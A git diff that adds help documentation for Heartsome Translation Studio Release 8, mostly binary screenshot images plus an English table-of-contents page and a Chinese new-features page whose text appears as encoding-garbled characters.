a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-ppt.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-ppt.png new file mode 100644 index 0000000..437cc41 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-ppt.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-project-properties.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-project-properties.png new file mode 100644 index 0000000..3eebdfc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-project-properties.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-qa.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-qa.png new file mode 100644 index 0000000..d77c54d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-qa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-tm.png new file mode 100644 index 0000000..cfbf0a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-1-tm-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-1-tm-1.png new file mode 100644 index 0000000..8a647a4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-1-tm-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-1-tm-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-1-tm-2.png new file mode 100644 index 0000000..65925f1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-1-tm-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-2-1.png new file mode 100644 index 0000000..0ae54e4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-2-2.png new file mode 100644 index 0000000..2cbcd3d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-3-option.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-3-option.png new file mode 100644 index 0000000..0c88bf7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-3-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-4-result.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-4-result.png new file mode 100644 index 0000000..39945c7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/pre-translate-4-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/preview-transaltion.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/preview-transaltion.png new file mode 100644 index 0000000..147c083 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/preview-transaltion.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-rename-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-rename-1.png new file mode 100644 index 0000000..c7f86b2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-rename-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-1.png new file mode 100644 index 0000000..8a647a4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-2-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-2-basic-info.png new file mode 100644 index 0000000..cc98f44 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-2-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-3-language-pair.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-3-language-pair.png new file mode 100644 index 0000000..77e5adb Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-3-language-pair.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-4-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-4-tm.png new file mode 100644 index 0000000..ff57e11 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-4-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-5-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-5-tb.png new file mode 100644 index 0000000..ce25c4e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-setting-5-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-structure.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-structure.png new file mode 100644 index 0000000..75b23c7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/project-structure.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/propagation-translation.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/propagation-translation.png new file mode 100644 index 0000000..06bddb7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/propagation-translation.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-1-1.png new file mode 100644 index 0000000..b783547 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-1-2.png new file mode 100644 index 0000000..21696c3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-2-option.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-2-option.png new file mode 100644 index 0000000..d77c54d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-2-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-3-result.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-3-result.png new file mode 100644 index 0000000..b22f81a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-check-multiple-3-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-single-check.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-single-check.png new file mode 100644 index 0000000..17732f6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/qa-single-check.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-1-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-1-tm.png new file mode 100644 index 0000000..6784a86 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-1-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-2-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-2-tb.png new file mode 100644 index 0000000..6d8c886 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-2-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-3.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-3.png new file mode 100644 index 0000000..f65259a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/quick-translation-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/resize-height.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/resize-height.png new file mode 100644 index 0000000..1762b89 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/resize-height.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/resize-width.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/resize-width.png new file mode 100644 index 0000000..284b42c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/resize-width.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/run-as-administrator-uac.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/run-as-administrator-uac.png new file mode 100644 index 0000000..9bf8a13 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/run-as-administrator-uac.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/run-as-administrator.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/run-as-administrator.png new file mode 100644 index 0000000..a464752 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/run-as-administrator.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/search-term-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/search-term-1.png new file mode 100644 index 0000000..af68e2d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/search-term-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/search-term-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/search-term-2.png new file mode 100644 index 0000000..452a127 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/search-term-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-1-1.png new file mode 100644 index 0000000..dafd8b1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-1-2.png new file mode 100644 index 0000000..e57a617 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-2-1.png new file mode 100644 index 0000000..8552efd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-2-2.png new file mode 100644 index 0000000..527cdcf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-3-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-3-1.png new file mode 100644 index 0000000..3a94745 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-3-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-3-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-3-2.png new file mode 100644 index 0000000..d2065b0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/segmentation-rule-manager-3-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-segment-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-segment-1.png new file mode 100644 index 0000000..3d59b32 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-segment-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-segment-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-segment-2.png new file mode 100644 index 0000000..656f982 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-segment-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-1.png new file mode 100644 index 0000000..7e08166 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-2-1.png new file mode 100644 index 0000000..22d79ea Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-2-2.png new file mode 100644 index 0000000..8ad524e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/split-xliff-file-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/status-bar-tooltip.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/status-bar-tooltip.png new file mode 100644 index 0000000..7876d35 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/status-bar-tooltip.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/status-bar.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/status-bar.png new file mode 100644 index 0000000..6124c4d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/status-bar.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tb-management.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tb-management.png new file mode 100644 index 0000000..e93f2a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tb-management.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/term-matches.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/term-matches.png new file mode 100644 index 0000000..9ed99ce Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/term-matches.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-1.png new file mode 100644 index 0000000..c54f580 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-2.png new file mode 100644 index 0000000..8f1aad7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-3.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-3.png new file mode 100644 index 0000000..d7fd95f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-management-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-delete.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-delete.png new file mode 100644 index 0000000..3294e53 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-delete.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-edit-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-edit-1.png new file mode 100644 index 0000000..90e099e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-edit-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-edit-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-edit-2.png new file mode 100644 index 0000000..d8e86d1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-edit-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-select.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-select.png new file mode 100644 index 0000000..0dd31f2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches-select.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches.png new file mode 100644 index 0000000..bcf010e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/tm-matches.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/toolbar.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/toolbar.png new file mode 100644 index 0000000..3266694 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/toolbar.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-1-1.png new file mode 100644 index 0000000..0954000 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-1-2.png new file mode 100644 index 0000000..0d7a458 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-2-result.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-2-result.png new file mode 100644 index 0000000..74398d7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/translation-analysis-2-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/unlock-segments-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/unlock-segments-2.png new file mode 100644 index 0000000..61af2ab Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/unlock-segments-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/unlock-segments.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/unlock-segments.png new file mode 100644 index 0000000..1ae389c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/unlock-segments.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/update-tm-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/update-tm-1.png new file mode 100644 index 0000000..14875f8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/update-tm-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/update-tm-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/update-tm-2.png new file mode 100644 index 0000000..39a163a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/update-tm-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-project.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-project.png new file mode 100644 index 0000000..a2e580a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-project.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-qa.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-qa.png new file mode 100644 index 0000000..c95ef47 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-qa.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-tb.png new file mode 100644 index 0000000..d60420a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-tm.png new file mode 100644 index 0000000..2db26d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/view-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-1-1.png new file mode 100644 index 0000000..5156d74 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-1-2.png new file mode 100644 index 0000000..6766e99 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-2-option-equivalent.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-2-option-equivalent.png new file mode 100644 index 0000000..90c76ee Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-2-option-equivalent.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-2-option.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-2-option.png new file mode 100644 index 0000000..d84ac0e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-2-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-3-result.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-3-result.png new file mode 100644 index 0000000..5f0db13 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/word-analysis-3-result.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/workflow.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/workflow.png new file mode 100644 index 0000000..143fa00 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/workflow.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-1.png new file mode 100644 index 0000000..a8245c7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-2.png new file mode 100644 index 0000000..e507307 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-3.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-3.png new file mode 100644 index 0000000..d330d26 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-add-filter-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-filter-segments.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-filter-segments.png new file mode 100644 index 0000000..3c19ffa Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-filter-segments.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-segment-status.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-segment-status.png new file mode 100644 index 0000000..e219662 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-segment-status.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-vertical.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-vertical.png new file mode 100644 index 0000000..d8b9ea0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor-vertical.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor.png new file mode 100644 index 0000000..85a0443 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/xliff-editor.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/index.html b/ts/net.heartsome.cat.ts.ui.help/html/en/index.html new file mode 100644 index 0000000..8a4a7d2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/index.html @@ -0,0 +1,128 @@ + + + +Heartsome Translation Studio Release 8 Help + + + + + +
    +
    +

    +Heartsome Translation Studio Release 8 Help

    +
    +
    +
    +

    Table of Contents

    +
    +
    1. New Features
    +
    2. Conventions and Glossary
    +
    3. License
    +
    4. Overview of the interfaces
    +
    +
    4.1. Main interface
    +
    4.2. View
    +
    +
    4.2.1. Learn about the different window components
    +
    4.2.2. Using windows
    +
    +
    4.3. XLIFF Editor
    +
    +
    5. Workflow
    +
    +
    5.1. Project Preparation
    +
    +
    5.1.1. Source File
    +
    5.1.2. TMX files
    +
    5.1.3. TBX files
    +
    5.1.4. Database Server
    +
    +
    5.2. Creating projects
    +
    +
    5.2.1. Project Information
    +
    5.2.2. Language Pairs
    +
    5.2.3. Translation Memory
    +
    5.2.4. Termbase
    +
    5.2.5. Source File
    +
    +
    5.3. Prepare before translating
    +
    +
    5.3.1. New Translation Memory Wizard
    +
    5.3.2. New Terbase Wizard
    +
    5.3.3. Add Source Files
    +
    5.3.4. Convert Source Files to XLIFF
    +
    5.3.5. Lock Repetitions
    +
    5.3.6. Pre-translate
    +
    5.3.7. Analyze Files
    +
    5.3.8. Split up a file
    +
    5.3.9. Project Settings
    +
    +
    5.4. Translation
    +
    +
    5.4.1. Open
    +
    5.4.2. Enter translation
    +
    5.4.3. Inserting tags into the translation
    +
    5.4.4. Change segment status
    +
    5.4.5. Translation Memory
    +
    5.4.6. Termbase
    +
    5.4.7. QA
    +
    5.4.8. Quick Translation
    +
    5.4.9. Machine Translation
    +
    5.4.10. Filter segments
    +
    5.4.11. Translation Progress Analysis
    +
    +
    5.5. Edit & QA
    +
    +
    5.5.1. Open
    +
    5.5.2. Change segment status
    +
    5.5.3. Edit translation
    +
    5.5.4. Comments
    +
    5.5.5. Editing Progress Analysis
    +
    5.5.6. RTF external proofreading
    +
    5.5.7. QA
    +
    5.5.8. Preview
    +
    +
    5.6. Finish project
    +
    +
    5.6.1. Merge files
    +
    5.6.2. Unlock repetitions
    +
    5.6.3. Propagate Translation
    +
    5.6.4. Convert XLIFF to target file
    +
    +
    +
    6. Maintenance and management of TMs and termbases
    +
    +
    6.1. Update Translation Memory
    +
    6.2. Translation Memory Management
    +
    +
    6.2.1. Create
    +
    6.2.2. Delete
    +
    +
    6.3. Export TM as TMX
    +
    6.4. Termbase Management
    +
    6.5. Export TM as TBX
    +
    +
    7. Collaborating with teams
    +
    +
    7.1. Sharing databases
    +
    7.2. Export Project
    +
    +
    7.2.1. Passing the different stages of the process between team + members
    +
    7.2.2. Assign project
    +
    +
    7.3. Import Project
    +
    +
    7.3.1. Passing the different stages of the process between team + members
    +
    7.3.2. Integrate and update
    +
    +
    7.4. RTF external proofreading
    +
    +
    8. Handling different file formats
    +
    9. FAQ
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch01.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch01.html new file mode 100644 index 0000000..f6dbf16 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch01.html @@ -0,0 +1,119 @@ + + + +新特性 + + + + + + + +
    +

    +新特性

    + + +

    Heartsome Translation Studio Release 8 + 带æ¥äº†å¾ˆå¤šä»¤äººæ¿€åŠ¨çš„新特性,下é¢ä»…列出用户最为关注的主è¦æ–°ç‰¹æ€§ï¼š

    + +
      +
    1. +

      全新的一体化界é¢

      + +

      在统一的一体化界é¢ä¸Šå®Œæˆä»Žæ–‡ä»¶å‡†å¤‡åˆ°è¯‘åŽå¤„ç†çš„所有æµç¨‹ã€‚

      +
    2. +
    3. +

      全新的项目管ç†åŠŸèƒ½

      + +

      统一管ç†é¡¹ç›®çš„所有相关文件,包括æºæ–‡ä»¶ã€ç›®æ ‡æ–‡ä»¶ã€ä¸­é—´å¤„ç†çš„ XLIFF 文件ã€TMX 记忆库交æ¢æ–‡ä»¶ã€TBX + 术语库交æ¢æ–‡ä»¶ã€å­—数分æžæŠ¥å‘Šç­‰ï¼Œç³»ç»ŸåŒ–地管ç†é¡¹ç›®æ–‡ä»¶ï¼Œæ高工作和管ç†æ•ˆçŽ‡ã€‚

      +
    4. +
    5. +

      åˆå¹¶æ‰“开多个 XLIFF

      + +

      å¯ä»¥æŠŠå¤šä¸ª XLIFF + 文件任æ„åˆå¹¶åœ¨ä¸€ä¸ªç¼–辑器中打开,就åƒæ“作一个文件一样,é¿å…频ç¹çš„åˆå¹¶ã€åˆ†å‰²æ–‡ä»¶æ“作,且更加自由ã€çµæ´»ã€‚

      +
    6. +
    7. +

      全新的 XLIFF 编辑器

      + +

      è¡¨æ ¼å¼ XLIFF 编辑器,能完整查看整个翻译文件的内容。æ供垂直和水平两ç§æ˜¾ç¤ºæ¨¡å¼ã€‚

      +
    8. +
    9. +

      统一的记忆库ã€æœ¯è¯­åº“管ç†ç•Œé¢

